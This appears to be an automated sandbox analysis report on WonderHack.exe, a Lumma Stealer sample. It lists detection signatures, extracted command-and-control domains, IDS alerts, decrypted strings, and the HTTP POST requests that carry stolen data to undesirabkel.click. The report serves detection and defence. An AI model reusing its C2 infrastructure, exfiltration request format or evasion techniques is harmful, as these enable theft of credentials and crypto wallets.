Edit tour

Windows Analysis Report
WonderHack.exe

Overview

General Information

Sample name:	WonderHack.exe
Analysis ID:	1581508
MD5:	83614dc842994c0adabd914b7273d6cc
SHA1:	4600ed64d6d42dec8f26d503b3af6af2c183a44f
SHA256:	848ccff6a8e523f7e0a7a787b480adad7cf7d0ec6a93362a6a3e94e0e5e93e8d
Tags:	exeLummaStealersigneduser-ventoy
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

WonderHack.exe (PID: 4760 cmdline: "C:\Users\user\Desktop\WonderHack.exe" MD5: 83614DC842994C0ADABD914B7273D6CC)

conhost.exe (PID: 5272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WonderHack.exe (PID: 6152 cmdline: "C:\Users\user\Desktop\WonderHack.exe" MD5: 83614DC842994C0ADABD914B7273D6CC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["scentniej.buzz", "prisonyfork.buzz", "rebuildeso.buzz", "appliacnesot.buzz", "undesirabkel.click", "cashfuzysao.buzz", "hummskitnj.buzz", "inherineau.buzz", "screwamusresz.buzz"], "Build id": "LPnhqo--ybzklzpanlwp"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.2145423339.0000000002C5E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2145458267.0000000002C66000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: WonderHack.exe PID: 6152	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: WonderHack.exe PID: 6152	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:14:57.031822+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	104.21.30.13	443	TCP
2024-12-27T23:14:59.248165+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	104.21.30.13	443	TCP
2024-12-27T23:15:01.741831+0100	2028371	3	Unknown Traffic	192.168.2.5	49710	104.21.30.13	443	TCP
2024-12-27T23:15:04.391250+0100	2028371	3	Unknown Traffic	192.168.2.5	49711	104.21.30.13	443	TCP
2024-12-27T23:15:07.061805+0100	2028371	3	Unknown Traffic	192.168.2.5	49712	104.21.30.13	443	TCP
2024-12-27T23:15:09.814998+0100	2028371	3	Unknown Traffic	192.168.2.5	49713	104.21.30.13	443	TCP
2024-12-27T23:15:12.803297+0100	2028371	3	Unknown Traffic	192.168.2.5	49714	104.21.30.13	443	TCP
2024-12-27T23:15:15.432371+0100	2028371	3	Unknown Traffic	192.168.2.5	49720	104.21.30.13	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:14:57.931139+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49708	104.21.30.13	443	TCP
2024-12-27T23:15:00.027960+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49709	104.21.30.13	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:14:57.931139+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49708	104.21.30.13	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:15:00.027960+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49709	104.21.30.13	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:14:57.031822+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.5	49708	104.21.30.13	443	TCP
2024-12-27T23:14:59.248165+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.5	49709	104.21.30.13	443	TCP
2024-12-27T23:15:01.741831+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.5	49710	104.21.30.13	443	TCP
2024-12-27T23:15:04.391250+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.5	49711	104.21.30.13	443	TCP
2024-12-27T23:15:07.061805+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.5	49712	104.21.30.13	443	TCP
2024-12-27T23:15:09.814998+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.5	49713	104.21.30.13	443	TCP
2024-12-27T23:15:12.803297+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.5	49714	104.21.30.13	443	TCP
2024-12-27T23:15:15.432371+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.5	49720	104.21.30.13	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (undesirabkel .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:14:55.472761+0100	2058550	1	Domain Observed Used for C2 Detected	192.168.2.5	58235	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:15:10.600667+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49713	104.21.30.13	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://undesirabkel.click/api	Avira URL Cloud: Label: malware
Source: https://undesirabkel.click/x	Avira URL Cloud: Label: malware
Source: https://undesirabkel.click/apiteCm	Avira URL Cloud: Label: malware
Source: https://undesirabkel.click/3	Avira URL Cloud: Label: malware
Source: https://undesirabkel.click/apid	Avira URL Cloud: Label: malware
Source: https://undesirabkel.click/	Avira URL Cloud: Label: malware
Source: https://undesirabkel.click:443/apiicrosoft	Avira URL Cloud: Label: malware
Source: undesirabkel.click	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.2015411906.0000000004687000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["scentniej.buzz", "prisonyfork.buzz", "rebuildeso.buzz", "appliacnesot.buzz", "undesirabkel.click", "cashfuzysao.buzz", "hummskitnj.buzz", "inherineau.buzz", "screwamusresz.buzz"], "Build id": "LPnhqo--ybzklzpanlwp"}

Machine Learning detection for sample

Source: WonderHack.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: hummskitnj.buzz
Source: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: appliacnesot.buzz
Source: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: screwamusresz.buzz
Source: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: inherineau.buzz
Source: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: scentniej.buzz
Source: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rebuildeso.buzz
Source: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: prisonyfork.buzz
Source: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: undesirabkel.click
Source: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: LPnhqo--ybzklzpanlwp

Source: C:\Users\user\Desktop\WonderHack.exe

Code function: 3_2_00415640 CryptUnprotectData,

3_2_00415640

Source: WonderHack.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.5:49714 version: TLS 1.2

Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_001B1F38 FindFirstFileExW,	0_2_001B1F38
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_001B1FE9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_001B1FE9
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_001B1F38 FindFirstFileExW,	3_2_001B1F38
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_001B1FE9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_001B1FE9

Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+795224B5h]	3_2_00426230
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov word ptr [edx], cx	3_2_004192C0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+273D8904h]	3_2_0043DAA0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+418B67A0h]	3_2_0040D35C
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then cmp dword ptr [ebp+edi*8+00h], 9164D103h	3_2_0043DBB0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov ecx, eax	3_2_0043C59C
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax+273D8908h]	3_2_0043EEC0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 40C3E6E8h	3_2_0043EEC0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov ecx, eax	3_2_0042BF45
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax+273D8908h]	3_2_0043F040
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 38B2B0F7h	3_2_0043F040
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov byte ptr [esi], cl	3_2_0042B078
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2213E57Fh	3_2_0043A800
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 06702B10h	3_2_0043A800
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2213E57Fh	3_2_0043A800
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov ecx, eax	3_2_0043A800
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then movzx edx, byte ptr [ebx+eax]	3_2_0043B813
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], AD68FE34h	3_2_0043E8D0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then push esi	3_2_004210F3
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov edx, eax	3_2_00418095
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-6E7BF537h]	3_2_0042C894
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov ecx, eax	3_2_004290B0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-23ABFE5Bh]	3_2_004290B0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then jmp edx	3_2_0043D140
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov ecx, eax	3_2_0041D172
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-6E7BF537h]	3_2_0042C9DA
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-6E7BF537h]	3_2_0042C9E9
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-6E7BF537h]	3_2_0042C984
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov ecx, eax	3_2_0041D189
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+795224EFh]	3_2_004259B0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov word ptr [edx], cx	3_2_00414A50
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov eax, ecx	3_2_00414A50
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov ebp, dword ptr [esp+20h]	3_2_00414A50
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_00414A50
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_00414A50
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov esi, edx	3_2_0041720B
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+65F916CFh]	3_2_0041720B
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then and esi, 80000000h	3_2_00408A20
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-15B7625Fh]	3_2_00428290
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	3_2_00407440
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+edi*4+00h]	3_2_00407440
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then cmp word ptr [edi+eax], 0000h	3_2_0041CC60
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then movzx ecx, byte ptr [edi+eax]	3_2_0043B46A
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov dword ptr [ebp-00000248h], E7E6E5E6h	3_2_0043BC14
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov ecx, eax	3_2_0043BC14
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov esi, eax	3_2_00416D52
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov edi, ecx	3_2_0041D560
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+ebp]	3_2_00437D00
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov word ptr [ebx], cx	3_2_0041AD81
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_00429DA0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov edx, ecx	3_2_0040EDB4
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov edx, eax	3_2_0040EDB4
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov edi, dword ptr [esp+54h]	3_2_00428640
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov edx, eax	3_2_0043BCDB
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then movzx esi, word ptr [ecx]	3_2_004146C0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov byte ptr [ecx], al	3_2_004266C0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then jmp edx	3_2_004226D3
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then jmp eax	3_2_00423FF1
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then mov edi, dword ptr [esp+30h]	3_2_00423FF1
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then cmp dword ptr [esi+ebx*8], 4B1BF3DAh	3_2_00437790
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 4x nop then push dword ptr [esp+04h]	3_2_00437790

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058550 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (undesirabkel .click) : 192.168.2.5:58235 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.5:49708 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.5:49711 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.5:49710 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.5:49720 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.5:49709 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.5:49713 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.5:49714 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.5:49712 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49709 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49709 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49713 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49708 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49708 -> 104.21.30.13:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: undesirabkel.click
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49711 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49710 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49720 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49713 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49714 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49712 -> 104.21.30.13:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: undesirabkel.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 54Host: undesirabkel.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=EJ1O0SW4N129User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12806Host: undesirabkel.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=DB8C8UI0HERUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15042Host: undesirabkel.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=HJV8WP9P90OKEH2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20556Host: undesirabkel.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8BZRJOZSM1GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1217Host: undesirabkel.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=NT8J9BVVO7R0L2J17COUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 584598Host: undesirabkel.click

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: undesirabkel.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: undesirabkel.click

Source: WonderHack.exe	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: WonderHack.exe, 00000003.00000003.2113786054.000000000532F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: WonderHack.exe, 00000003.00000003.2113786054.000000000532F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: WonderHack.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: WonderHack.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: WonderHack.exe	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: WonderHack.exe	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: WonderHack.exe, 00000003.00000003.2113786054.000000000532F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: WonderHack.exe, 00000003.00000003.2113786054.000000000532F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
